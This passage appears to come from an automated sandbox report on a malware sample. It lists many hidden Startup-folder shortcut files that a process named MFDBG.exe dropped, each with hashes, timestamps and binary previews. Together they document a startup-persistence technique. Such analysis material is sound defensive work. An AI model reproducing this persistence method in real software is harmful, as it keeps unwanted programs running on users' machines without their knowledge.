Preview:	L..................F...."...]W%.{...t5..\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_abd0916e77224f19ad1fdc655746e28c.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:49 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.930845282174904
Encrypted:	false
SSDEEP:	24:8ChBfq8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8ov0R6rMhpBoUBxdRd1nYyg
MD5:	B203696CBB9CC6695AC3611FC21CE12F
SHA1:	2F05B1B287720747C30CB8992C805C3B7BEB0191
SHA-256:	CA96CFFD623E2B64DB6264075B887BCB336D046F7F581768C9A5AB2876966616
SHA-512:	88FD5C2CD84393BE6F4364D4FC7C660414E0E43ED33AB416E981E7FC77C489FD6B0784444E480BF4DB5F4FEE72E5374342E29697EF22836014886D4BAA378B7F
Malicious:	false
Preview:	L..................F...."...]W%.{.....\.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....E.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_abf66f6440c84a118d840c5b2539bffa.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:49 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.937846163412908
Encrypted:	false
SSDEEP:	24:8/hBfq8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8j/0R6rMhpBoUBxdRd1nYyg
MD5:	A45E65A9FF24DE613232D9DEAF350F75
SHA1:	27CFE7EF88594143442E7E6FF2B8E9F55202C68A
SHA-256:	F9B7D1C8742A14536186797BFAFDCB6E69F1A3AFD155E65E20E32F77757069B1
SHA-512:	F8D1D9C826B5AA3D1C61975D75ED2676267E62E4BE43EB0A18969DE0EA2A1BA0F96767BDB69CE29A3D463CE9EBD7C02E787231E33385D0900732F8EEA784BA68
Malicious:	false
Preview:	L..................F...."...]W%.{...<o..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....a.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ac962a43e1774db5bb2304fe08ac26c7.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:48 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.936837787410434
Encrypted:	false
SSDEEP:	24:8aJphBf98iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8eC0R6rMhpBoUBxdRd1nYyg
MD5:	498347900582851420AECD395ADED784
SHA1:	0EF7924A57514F73F9F3A2E7B920C62C947F100C
SHA-256:	B07AFE0410B20344640C3AB93E6F52C056D69DC0A9438411A826C915CC91BDE1
SHA-512:	D2D660BBFE532F7A0D2236E8A936BEA6CBA7EDF99AAD98646AAE1BFBBE3F2E156EF1F2039BBF2CB1BDCE218E1C98F83FA9877BB9F814454990955687B8A6B9A3
Malicious:	false
Preview:	L..................F...."...]W%.{.....F.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....7.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ad0370ce75524c669e52ec8ab6d0eaab.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:19 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.93827489518922
Encrypted:	false
SSDEEP:	24:8nhBfsl8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:87EC0R6rMhpBoUBxdRd1nYyg
MD5:	8C809ACCE0E34EB06E6971E8D26B6E20
SHA1:	374A2F6D383AE94EAE18B019F5A505362ACF63FD
SHA-256:	B539A072B33AB60C83864D2856626A432BB27939113D4B01A8B037812C9A7818
SHA-512:	EFA1E8E2BA642333909249356C56EDBC7F173681F674E830FAEFFBA0266DA5C1EB974EDC7B4D2DC4E1ADAF8B2F95E193D902AB1CF8CE1836975AD3661246ADB8
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...\|...{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ad336e1bb4b24e628091fbd3a8fa0ac7.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:43 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.937826453436501
Encrypted:	false
SSDEEP:	24:8aRphBffD8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Gp3Q0R6rMhpBoUBxdRd1nYyg
MD5:	A440662A195943DA622FE331FC5EC840
SHA1:	706BE3DAC5983DBBCF91735CDDC3F3DFF85D96D2
SHA-256:	7A73FDBF80C6935100B1A8EB17AF59A718DEFA37E6773D41B1D03F7D229D4AE5
SHA-512:	096F18E3C115E6894ED89F3F1B25DBC640175BD7C75EA1C95E233DE15A79AAACB63A66C72D50EB9D27B7D9A4FDF2CA6C5E94D1E69CA205AA48C4260E3D243BDA
Malicious:	false
Preview:	L..................F...."...]W%.{....\|..\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...\|...\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ad4ddd47ffe04ed19857261440f78e16.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:39 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9426377801933805
Encrypted:	false
SSDEEP:	24:88DhBfV8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8SK0R6rMhpBoUBxdRd1nYyg
MD5:	FF2F5187B6CA159720D4B9E3ABBF569C
SHA1:	BD55F48C876E508AAB37FBFE3BCBCBF9E49E8E1B
SHA-256:	38309D93650E6EC556D50A68835D9AA0F3048C9F3AC79877FE79C22CFF1DCFFE
SHA-512:	F1AA1B8CF99200E687CFBF6B49D31EEDFBF9FD469EBFC0C4283D3867984D44A310AF5AA34D06B71E5F6FA3D82221EBA95A88EC42CDAC12B8EED3D67DDBFD39AC
Malicious:	false
Preview:	L..................F...."...]W%.{....K.\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....#B.\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ad57bda2814b4209af97577db1066336.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:53 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.932914889065354
Encrypted:	false
SSDEEP:	24:8pPhBfSr8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8RKI0R6rMhpBoUBxdRd1nYyg
MD5:	77554B3A98DAD0161FCF69FDA20F338A
SHA1:	A3AA5DBE6FAAD8535DF4EEC1D527C05151768E28
SHA-256:	532E04EC64F0779A750F19FA7A792B85C5180A72BF8478C0EB0228F460EF2F84
SHA-512:	2CD692C417CDFC6B46B94F4DDE8927FE73F04FB70D22F86E2E2B3C16BE2068995F9F8516198336EDCE664A253161A5ACE13A066405A04C2278603BD59B81B7F2
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....G).{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ade4a40fd52d4581b5fd9e711532b68f.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:47 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.937588384767501
Encrypted:	false
SSDEEP:	24:8aDhBfu8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:86r0R6rMhpBoUBxdRd1nYyg
MD5:	08C8AF71070ACB7E913BFC9824B67E91
SHA1:	C5398D030C4DD11ABBE71B80D067991437FE8EC8
SHA-256:	96F78B667E7F06344D67D23FE192FBC3E65E9BD502FA6694035A78566AF716C6
SHA-512:	55B7939458AB95771663BFCDD1287F430A8804EB8D9E9CB54E26AE8217320AB0C936960DEA2B99AE4BF05B2387667A209E4282A9AA816B2A45F1B90F6D177E87
Malicious:	false
Preview:	L..................F...."...]W%.{...M...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...O...{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ade8168caa304defb9fd6993b7da1e0e.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:55 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.935521391576911
Encrypted:	false
SSDEEP:	24:8/6GhBfB8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8x+0R6rMhpBoUBxdRd1nYyg
MD5:	6AB155B7EDE59D00CB06AFBD8AE6AF05
SHA1:	F9671BE947FA35D283FBCB5255AF94E3C3F6C5AC
SHA-256:	5FF93D53C951777D0EA68F106846E5E99397B3C4D4851B59686DD02847C8E23D
SHA-512:	4A0B0CDAE40BD9C5B5EBB84308A489724B723048BEC60258FF883978040C8BEC3DA12B909A304195729F4AAA55B85EA5DFAB91680B579EA29D7485F406D40A59
Malicious:	false
Preview:	L..................F...."...]W%.{.....{.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....\.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ae8f64e2e0c141b0995ea63ae1997a02.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:46 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.935626188986307
Encrypted:	false
SSDEEP:	24:8sGhBfeh8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8D/0R6rMhpBoUBxdRd1nYyg
MD5:	BB50F738E09329F9E5CF8C7CA8561682
SHA1:	A145EEBFD6F8BB7020A90457E7B86DF94F8A2798
SHA-256:	D6A07105C56C90AE87FCBEBFFFCF8405715A1A468E43D4A959D15493DEB39DA2
SHA-512:	752E5CD2633A0B6F32679AED18F1B79F2471D808EFA6F89E3FDB935B4A5515257D6D330B493872C5A590290FAC6751F5B68235C4E1026F7C78DB3F80F829FFF9
Malicious:	false
Preview:	L..................F...."...]W%.{....6..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....7..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ae9f1b2d875a4c85a3db0db707256d46.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:17 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.933381183341685
Encrypted:	false
SSDEEP:	24:8SxmhBfI+8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8SxsgT0R6rMhpBoUBxdRd1nYyg
MD5:	F30DE22FDD3A40D2F0341E56F19215C3
SHA1:	6C553C0C58B7B7F3F049B7362AEA0332A9C9CE86
SHA-256:	7D977AFEFCCE176694B1BC89AF2F8C0388C54E94FC94A206C9BC34A32F77F254
SHA-512:	F8AD0872FC141690A004E6BBFA5B6A3DDF247994C3329919BC5EA088A5ECC3F17AB3C40C863D85B28C74E37817AEF0E7D127AFBDB1ED167DCA58987FC5609EED
Malicious:	false
Preview:	L..................F...."...]W%.{...h...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...h...{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_aecca6b893474e0ab7279cf77f79b93d.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:26 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.934762501839016
Encrypted:	false
SSDEEP:	24:8JhBfTl8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8JW0R6rMhpBoUBxdRd1nYyg
MD5:	B2643C056480B5CAEAF1603DB352364E
SHA1:	E1F2C4C3F554E4DE74CF77B8EFF17E59CB29A122
SHA-256:	6E17733514C912AD339032BAAFE715379585062951C87CEA80AD3D60C86B8F13
SHA-512:	4411023C145A63096B5E45448553C4F825803F47D6E6E0B1BA67BD43893D5EEF73C08BA81E0FE3A93433CDAEF1E8D50F382A1DACB73A94B220A4E86C21CC21F5
Malicious:	false
Preview:	L..................F...."...]W%.{...d...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...*L..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_af3af6aee69b43088de5d06f31e379f0.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:10 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.939420613273203
Encrypted:	false
SSDEEP:	24:8auhBfbp8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8JDO0R6rMhpBoUBxdRd1nYyg
MD5:	FAF8F8008349E22F7935CE2B86A2FE9E
SHA1:	72021F07AD8A0154FDD4A17DAF298A5430F2A843
SHA-256:	95EDA7461CA7D21FD80736AD3B16C115665F504F80A1A5BA003506AA1A16F460
SHA-512:	77DDEA5D7CA143324592366D39E3D071D2165E559005E31477E1BA66A48C520343272CA4117F94980DBCC82114EDBA5DB8C4A7C059313BD3CB7A2B6C9A5E7B93
Malicious:	false
